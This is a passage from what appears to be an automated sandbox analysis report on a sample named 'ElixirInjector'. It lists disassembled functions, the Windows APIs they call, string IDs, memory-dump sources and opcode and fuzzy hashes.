                                                                                                • Part of subcall function 00F1F2C5: GetProcAddress.KERNEL32(00F581C8,CryptUnprotectMemory), ref: 00F1F2F4
                                                                                              • GetCurrentProcessId.KERNEL32(?,?,?,00F1F33E), ref: 00F1F3D2
                                                                                              Strings
                                                                                              • CryptUnprotectMemory failed, xrefs: 00F1F3CA
                                                                                              • CryptProtectMemory failed, xrefs: 00F1F389
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: AddressProc$CurrentProcess
                                                                                              • String ID: CryptProtectMemory failed$CryptUnprotectMemory failed
                                                                                              • API String ID: 2190909847-396321323
                                                                                              • Opcode ID: 443ba1761a8b6a05cfb6f142d9aa668df3ecf43dfa59e13e14c49922cc1eb485
                                                                                              • Instruction ID: 28bb8daae45911196fbaf37fac701d32aa36c29f60f38f744025ef6f7c1b9e60
                                                                                              • Opcode Fuzzy Hash: 443ba1761a8b6a05cfb6f142d9aa668df3ecf43dfa59e13e14c49922cc1eb485
                                                                                              • Instruction Fuzzy Hash: 83115631A01628ABDF159F30DC01AAE3B14FF41770F004126FC22AB291DB749E8AB7D1
                                                                                              Function 00F1B991 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 62COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • _swprintf.LIBCMT ref: 00F1B9B8
                                                                                                • Part of subcall function 00F14092: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F140A5
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: __vswprintf_c_l_swprintf
                                                                                              • String ID: %c:\
                                                                                              • API String ID: 1543624204-3142399695
                                                                                              • Opcode ID: 9e77793f8a6f4d9eebb6f3ca73fed0a561d553b8f1b0443a644f30c36243a7e2
                                                                                              • Instruction ID: a624b574d8977d2ce24e43ee9ef1dc273a5768ff0f4cfdeac2d467d6a594e78f
                                                                                              • Opcode Fuzzy Hash: 9e77793f8a6f4d9eebb6f3ca73fed0a561d553b8f1b0443a644f30c36243a7e2
                                                                                              • Instruction Fuzzy Hash: 4801F963904311B5D6346B358C46DABB7ACDE95770B50440EF944D6082EB28D485E2F1
                                                                                              Function 00F11316 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                                • Part of subcall function 00F1E2E8: _swprintf.LIBCMT ref: 00F1E30E
                                                                                                • Part of subcall function 00F1E2E8: _strlen.LIBCMT ref: 00F1E32F
                                                                                                • Part of subcall function 00F1E2E8: SetDlgItemTextW.USER32(?,00F4E274,?), ref: 00F1E38F
                                                                                                • Part of subcall function 00F1E2E8: GetWindowRect.USER32(?,?), ref: 00F1E3C9
                                                                                                • Part of subcall function 00F1E2E8: GetClientRect.USER32(?,?), ref: 00F1E3D5
                                                                                              • GetDlgItem.USER32(00000000,00003021), ref: 00F1135A
                                                                                              • SetWindowTextW.USER32(00000000,00F435F4), ref: 00F11370
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ItemRectTextWindow$Client_strlen_swprintf
                                                                                              • String ID: 0
                                                                                              • API String ID: 2622349952-4108050209
                                                                                              • Opcode ID: 59cda247a01e9d616bf27a8e1c5506aec0b5453e910df9ef5f7bfa8d4c98ebbb
                                                                                              • Instruction ID: 77f897d3d579c220201b0d3eb9a7af55e83fad1c74bd16a9486a15d3e9b9e1e9
                                                                                              • Opcode Fuzzy Hash: 59cda247a01e9d616bf27a8e1c5506aec0b5453e910df9ef5f7bfa8d4c98ebbb
                                                                                              • Instruction Fuzzy Hash: C0F0AF3090428CBADF150F618C0DBEA3B99BF00355F048214FE98519E9CBBAC9D4FA10
                                                                                              Function 00F20FE4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19synchronizationCOMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • WaitForSingleObject.KERNEL32(?,000000FF,00F21101,?,?,00F2117F,?,?,?,?,?,00F21169), ref: 00F20FEA
                                                                                              • GetLastError.KERNEL32(?,?,00F2117F,?,?,?,?,?,00F21169), ref: 00F20FF6
                                                                                                • Part of subcall function 00F16C36: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00F16C54
                                                                                              Strings
                                                                                              • WaitForMultipleObjects error %d, GetLastError %d, xrefs: 00F20FFF
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: ErrorLastObjectSingleWait__vswprintf_c_l
                                                                                              • String ID: WaitForMultipleObjects error %d, GetLastError %d
                                                                                              • API String ID: 1091760877-2248577382
                                                                                              • Opcode ID: 3f6deae222baf641ddfa7601049820ddba290fc4166f45c9ccbd83293c03c131
                                                                                              • Instruction ID: 83622003c8476b05fac198ec4e534bb673cba082052500a1a7b24bbad4ad74b0
                                                                                              • Opcode Fuzzy Hash: 3f6deae222baf641ddfa7601049820ddba290fc4166f45c9ccbd83293c03c131
                                                                                              • Instruction Fuzzy Hash: 5CD05B7550453476D61037286C06DBE3D14AB73737B500714F939A51E6CA1949C176D6
                                                                                              Function 00F1E29E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 13COMMON
                                                                                              Download Yara Rule
                                                                                              APIs
                                                                                              • GetModuleHandleW.KERNEL32(00000000,?,00F1DA55,?), ref: 00F1E2A3
                                                                                              • FindResourceW.KERNEL32(00000000,RTL,00000005,?,00F1DA55,?), ref: 00F1E2B1
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000000.00000002.2185791998.0000000000F11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true
                                                                                              • Associated: 00000000.00000002.2185776696.0000000000F10000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185820340.0000000000F43000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F4E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F55000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185843092.0000000000F72000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000000.00000002.2185906055.0000000000F73000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_0_2_f10000_ElixirInjector.jbxd
                                                                                              Similarity
                                                                                              • API ID: FindHandleModuleResource
                                                                                              • String ID: RTL
                                                                                              • API String ID: 3537982541-834975271
                                                                                              • Opcode ID: 0e76a56f673be3e38fbab677b2ea88a57475d19296232edecc9ce8331fd41cfb
                                                                                              • Instruction ID: 18686f6492c07962ee9706d23cbf3996fa8d06d25a89d0af27da5199dbee4333
                                                                                              • Opcode Fuzzy Hash: 0e76a56f673be3e38fbab677b2ea88a57475d19296232edecc9ce8331fd41cfb
                                                                                              • Instruction Fuzzy Hash: A2C0803564075066EB3417787C0DF837E585B11B55F15054CBD41E91D1D6F5C5C0E7E0

                                                                                              Executed Functions

                                                                                              Function 00007FFD34670D48 Relevance: 1.5, Strings: 1, Instructions: 262COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: 5Z_H
                                                                                              • API String ID: 0-3267294416
                                                                                              • Opcode ID: a6050c8cfd260d9cd112d57d63b9ad125e3ba7254d570009c7718e0c7606b8f5
                                                                                              • Instruction ID: 0b27a295cb72f3920614f409ca767ff5487f9bddd1215f4838d6fd83f7102efd
                                                                                              • Opcode Fuzzy Hash: a6050c8cfd260d9cd112d57d63b9ad125e3ba7254d570009c7718e0c7606b8f5
                                                                                              • Instruction Fuzzy Hash: 8791F375A09A998FE78ADF6CC8653A97FE1FB66300F0440BEC04AD73D2DA782411C750
                                                                                              Function 00007FFD34670E43 Relevance: .2, Instructions: 172COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 29cc63095f39b7e8d72120d2541621ac1a6ef93d26f43b6104a3ca3c6617aa67
                                                                                              • Instruction ID: c21e3e8fb59c874f732d5ed6c02a3d5d94612e5f0c2bc082a669e0fd37255c23
                                                                                              • Opcode Fuzzy Hash: 29cc63095f39b7e8d72120d2541621ac1a6ef93d26f43b6104a3ca3c6617aa67
                                                                                              • Instruction Fuzzy Hash: 3B51DF76B18A998EE799CF5CD8A93B87FE1FBA6314F40417EC04AD33D1CAB914518740
                                                                                              Function 00007FFD34A628D8 Relevance: 2.7, Strings: 2, Instructions: 159COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: $HYm4
                                                                                              • API String ID: 0-1308994019
                                                                                              • Opcode ID: a27fb1347acfcfe7e840743ea4bf538bceb2b494ebadc1e624247dc8916bf772
                                                                                              • Instruction ID: 3de1e9cf36e39a80db58dc46da6235c86082a0d96c8477a3a475825e692a9b9f
                                                                                              • Opcode Fuzzy Hash: a27fb1347acfcfe7e840743ea4bf538bceb2b494ebadc1e624247dc8916bf772
                                                                                              • Instruction Fuzzy Hash: 03516E72E0954A8FDB59EF98D8A15FDB7B1EF59314F60407AD10EE7282CA3C6901CB40
                                                                                              Function 00007FFD34A64EE5 Relevance: 1.9, Strings: 1, Instructions: 699COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: d
                                                                                              • API String ID: 0-2564639436
                                                                                              • Opcode ID: 570973370f2334dc66fa78c27d5b26bfae84f4bf54b9ba81ee0da43c21a1faaa
                                                                                              • Instruction ID: a7a4f33c91cdd6287a907c2e09fbad48aa05edcd7e98ce228881681c7785bad8
                                                                                              • Opcode Fuzzy Hash: 570973370f2334dc66fa78c27d5b26bfae84f4bf54b9ba81ee0da43c21a1faaa
                                                                                              • Instruction Fuzzy Hash: 9C22103061CB094FE798EF18D8A157577E1EF96328B2405BDD58AC7297DA38F8438B81
                                                                                              Function 00007FFD34A6BA18 Relevance: 1.4, Strings: 1, Instructions: 166COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID: 0-3916222277
                                                                                              • Opcode ID: d95dafa599acf40057185eb25ed9f994693177cc8005e26929fd4bf33931bcf1
                                                                                              • Instruction ID: 7fcfb4c113d46465c4124902f8a8577d7e4e4670db94181be66d6239c2ef1682
                                                                                              • Opcode Fuzzy Hash: d95dafa599acf40057185eb25ed9f994693177cc8005e26929fd4bf33931bcf1
                                                                                              • Instruction Fuzzy Hash: B7516D71E0861A9FDB59DF98C4A05BCB7F0FF5A314F2440BAC10AE7286DA3C6901DB40
                                                                                              Function 00007FFD34670998 Relevance: 1.3, Strings: 1, Instructions: 96COMMON
                                                                                              Download Yara Rule
                                                                                              Strings
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3054078458.00007FFD34670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34670000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34670000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID: @4r4
                                                                                              • API String ID: 0-2777621932
                                                                                              • Opcode ID: 34cb8fae7a70a4a6b09fff6823b1c6c5bdfa7b6d23dd02c83c5384ee51e01ae5
                                                                                              • Instruction ID: 908a39d7253ed8a3f71927b5bc928d2d7ca783e4c7c90818fe0d7e7100315084
                                                                                              • Opcode Fuzzy Hash: 34cb8fae7a70a4a6b09fff6823b1c6c5bdfa7b6d23dd02c83c5384ee51e01ae5
                                                                                              • Instruction Fuzzy Hash: 4521FB10B189594FEB48FB7C946A6B977D6EB99315F1440BDE50DC33D3DD18AC418281
                                                                                              Function 00007FFD34A699B2 Relevance: .7, Instructions: 670COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: cb2c7d9ea02e362e2c5962212ca7e66c4ca0033cebfe7f2bc9a0db48efe616aa
                                                                                              • Instruction ID: a1bc95776f17b8376265017e464322d25067527aea898407bb6744aad10dab18
                                                                                              • Opcode Fuzzy Hash: cb2c7d9ea02e362e2c5962212ca7e66c4ca0033cebfe7f2bc9a0db48efe616aa
                                                                                              • Instruction Fuzzy Hash: BF228430B1CA198FDB98DB08C8A5A79B3E6FF55315B6441B9D14EC7292DA2CAC45CB80
                                                                                              Function 00007FFD34A6BC8F Relevance: .4, Instructions: 418COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 22f018de60fb2e8ad3f41e82cc8219c60b4489fc3a57fe20c59980567d3fec65
                                                                                              • Instruction ID: e8c0bfcc6c62dce9f0c867b4d902c34d4bcc2fa790c87d4b51497dc25d79750d
                                                                                              • Opcode Fuzzy Hash: 22f018de60fb2e8ad3f41e82cc8219c60b4489fc3a57fe20c59980567d3fec65
                                                                                              • Instruction Fuzzy Hash: 59F1AE706186568FEB58CF18C4E06B577A1FF46314B6445BDC94ACB28BDA3CF882DB41
                                                                                              Function 00007FFD34A62B4F Relevance: .4, Instructions: 399COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: b642e8b748cd38615e71d1dabb157e475573c7f26090f9da029452fb46728d8a
                                                                                              • Instruction ID: 38369b29417dd9909d0caf6dce5b76b086b2e7be084ede8bc4df7f0aaad3393b
                                                                                              • Opcode Fuzzy Hash: b642e8b748cd38615e71d1dabb157e475573c7f26090f9da029452fb46728d8a
                                                                                              • Instruction Fuzzy Hash: 1BE1B231A185568FEB59DF18C4E06B43BA1FF56314F6445BDC94ACB68ACA3CE881CB41
                                                                                              Function 00007FFD34A6CCD1 Relevance: .4, Instructions: 386COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e8446a93089af2ad37316352f75539cb0c5064f29ea3b116af0618502c1ef7ae
                                                                                              • Instruction ID: 90adb7433f9280b3e150874aebb103f65888706ce9d01f6b064ca9a7157ca5e3
                                                                                              • Opcode Fuzzy Hash: e8446a93089af2ad37316352f75539cb0c5064f29ea3b116af0618502c1ef7ae
                                                                                              • Instruction Fuzzy Hash: 4AD1AB30A1CB468FE369DA2894E157577E1FF46328B20457EC58FC7682DE2DB8429B81
                                                                                              Function 00007FFD34A63B91 Relevance: .4, Instructions: 384COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 92a5bf6e69d31037c9c4ed566c52d3ff0798e763dec05f0e71a747e528517f09
                                                                                              • Instruction ID: 276edef4093b6a4e1cb61063fcc03b1a220fdb9482ac6b7a6c238eff2031c822
                                                                                              • Opcode Fuzzy Hash: 92a5bf6e69d31037c9c4ed566c52d3ff0798e763dec05f0e71a747e528517f09
                                                                                              • Instruction Fuzzy Hash: CDD1D030A0CA468FE369DB18D4E157577E1FF46328B20497EC68EC76C2DE2DB8469B41
                                                                                              Function 00007FFD34A6BCAF Relevance: .3, Instructions: 316COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: eb24f5beadf6b90af828973c3e4937fdaa0bc169b16fb54649adc7b4467d478b
                                                                                              • Instruction ID: 91a1256a77f8ffa98cb42003af53364a162634f47e630da0e0f0350794b1378b
                                                                                              • Opcode Fuzzy Hash: eb24f5beadf6b90af828973c3e4937fdaa0bc169b16fb54649adc7b4467d478b
                                                                                              • Instruction Fuzzy Hash: 8BC1AE306185568BEB59CF08C0E05B577A1FF46328B6445BDD94BCB68BCA3CF882DB41
                                                                                              Function 00007FFD34A62B6F Relevance: .3, Instructions: 313COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 54b8557850e409b2f5a9285f2e31486ab4e7050099c8b6495b65eaf0e134f558
                                                                                              • Instruction ID: d59981b89939545acc18ac6c9e5423ff68b5ccb5235c6173bde73ffc8a507c5d
                                                                                              • Opcode Fuzzy Hash: 54b8557850e409b2f5a9285f2e31486ab4e7050099c8b6495b65eaf0e134f558
                                                                                              • Instruction Fuzzy Hash: 93C1AD31A195468BEB19DF18C0E05B53BA1FF46324B6445BDC94BCB68FCA3CE881DB45
                                                                                              Function 00007FFD34A6B542 Relevance: .3, Instructions: 307COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 69c5694230be38117f16382d4859b3869a6668b6ff6da4e4062531ec055c569c
                                                                                              • Instruction ID: 10abed45096d745880373a3142b6376df5e18d12e9bb5c43fb0aa77169163150
                                                                                              • Opcode Fuzzy Hash: 69c5694230be38117f16382d4859b3869a6668b6ff6da4e4062531ec055c569c
                                                                                              • Instruction Fuzzy Hash: 5EB1AE70B09A5A9FE749DB28C0B06A4B7E1FF5A314F644179C14EC7A86DB3CB851DB80
                                                                                              Function 00007FFD34A6E1FA Relevance: .3, Instructions: 301COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 6eb82b956b7fc55028fe9f571e9ff78ea8f47b610a9b953cf31a7de49b637b08
                                                                                              • Instruction ID: 392ce3172885fbb954fea1e9bfc7142f38a778a45e9cfc75b723359e48a2c7cc
                                                                                              • Opcode Fuzzy Hash: 6eb82b956b7fc55028fe9f571e9ff78ea8f47b610a9b953cf31a7de49b637b08
                                                                                              • Instruction Fuzzy Hash: C521E512F0D5938AF66496B874F91BE57805F53338F38057ADB9EDA0C2CC0E3845B282
                                                                                              Function 00007FFD34A62402 Relevance: .3, Instructions: 301COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e91e93a82cc5dcdbd167d3475cebe611fc10ab8a9005ff13ad31e4d41683a514
                                                                                              • Instruction ID: ecd40df72a80b4ca31f5407a191ef9c50139589c2bfdf4a1bc8f09c9be114c5f
                                                                                              • Opcode Fuzzy Hash: e91e93a82cc5dcdbd167d3475cebe611fc10ab8a9005ff13ad31e4d41683a514
                                                                                              • Instruction Fuzzy Hash: A4B1A071B09A468FE749EF18C0A06A4B7A1FF5A314F648179C54EC7A86CB3CF851DB80
                                                                                              Function 00007FFD34A68F4D Relevance: .3, Instructions: 289COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: f7d35e7a1dbb604aa257f76d0c2e43baf6c62e1e71aa97b99b8769638c909491
                                                                                              • Instruction ID: 8ffcdd03966a0910e4b3b699920f585f2d7cd369216a77cb01051afd24553d45
                                                                                              • Opcode Fuzzy Hash: f7d35e7a1dbb604aa257f76d0c2e43baf6c62e1e71aa97b99b8769638c909491
                                                                                              • Instruction Fuzzy Hash: BA21C012F0F5978AFAE9565419B90BCE6889F47738F38017BD64EDA1C2CC0D28853F92
                                                                                              Function 00007FFD34A67427 Relevance: .2, Instructions: 245COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000005.00000002.3656638774.00007FFD34A60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD34A60000, based on PE: false
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_5_2_7ffd34a60000_Bluestacks.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: 10e6c045751eb59137d722820c1393421bbe3bb9fdb4babe5c1f5a3c91e5447e
                                                                                              • Instruction ID: 8a87bee5247f2fe84fe69556bfbc659ab02018b2d16951e7f9b41d5569730fb9
                                                                                              • Opcode Fuzzy Hash: 10e6c045751eb59137d722820c1393421bbe3bb9fdb4babe5c1f5a3c91e5447e
                                                                                              • Instruction Fuzzy Hash: 29719039B2C4494FE768DA1884AA5B437D1FF4E336B2402FDD65EC3592DD1CAC069781
                                                                                              Function 00007FFD34A65C87 Relevance: .2, Instructions: 244COMMON
                                                                                              Download Yara Rule
                                                                                              Memory Dump Source
